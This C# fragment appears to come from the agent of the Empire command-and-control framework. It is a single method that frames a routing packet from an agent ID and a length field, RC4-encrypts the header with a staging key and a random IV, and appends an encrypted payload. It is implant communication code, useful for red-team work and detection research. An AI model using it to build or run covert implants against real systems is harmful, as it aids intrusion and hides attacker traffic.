//////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// private byte[] NewRoutingPacket(byte[] encryptedBytes, int meta) { int encryptedBytesLength = 0; if (encryptedBytes != null && encryptedBytes.Length > 0) { encryptedBytesLength = encryptedBytes.Length; } byte[] data = Encoding.ASCII.GetBytes(sessionInfo.GetAgentID()); byte lang = 0x03; data = Misc.combine(data, new byte[4] { lang, Convert.ToByte(meta), 0x00, 0x00 }); data = Misc.combine(data, BitConverter.GetBytes(encryptedBytesLength)); byte[] initializationVector = NewInitializationVector(4); byte[] rc4Key = Misc.combine(initializationVector, sessionInfo.GetStagingKeyBytes()); byte[] routingPacketData = EmpireStager.rc4Encrypt(rc4Key, data); routingPacketData = Misc.combine(initializationVector, routingPacketData); if (encryptedBytes != null && encryptedBytes.Length > 0) { routingPacketData = Misc.combine(routingPacketData, encryptedBytes); } return(routingPacketData); }